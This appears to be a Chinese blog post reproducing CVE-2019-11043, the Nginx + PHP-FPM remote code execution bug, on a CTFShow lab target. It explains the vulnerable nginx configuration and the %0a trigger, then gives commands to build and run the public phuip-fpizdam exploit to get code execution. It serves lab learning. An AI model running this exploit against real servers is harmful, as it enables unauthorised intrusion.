CVE-2019-11043 PHP-FPM 复现和学习(环境CTFShow web311)

CVE-2019-11043复现和学习

漏洞描述

CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。
向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。
该漏洞需要在nginx.conf中进行特定配置才能触发。

location ~ [^/]\.php(/|$) {
 ...
 fastcgi_split_path_info ^(.+?\.php)(/.*)$;
 fastcgi_param PATH_INFO $fastcgi_path_info;
 fastcgi_pass   php:9000;
 ...
}

攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。

漏洞范围

在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:
PHP 7.0 版本
PHP 7.1 版本
PHP 7.2 版本
PHP 7.3 版本

漏洞复现

这里用 CTFShow web311的环境来作为靶机复现

首先 exp 需要安装 GO 环境,有点麻烦可以参考一下

sudo apt install golang
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
到这步可能会报错,一直不能成功
是因为需要换代理,因为我就在这死磕很久
可以执行 go env 看看 proxy 是哪个
报错原因:默认使用的是proxy.golang.org,在国内无法访问
报错解决:执行命令:go env -w GOPROXY=https://goproxy.cn(换一个国内能够访问的代理地址
go get -v && go build

漏洞利用

./phuip-fpizdam URL/index.php

在这里插入图片描述
到这一步就已经可以RCE了
在这里插入图片描述
在这里插入图片描述
当然也是可以反弹 shell 的,可以看看这篇文章

CVE-2019-11043【反弹shell成功】

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值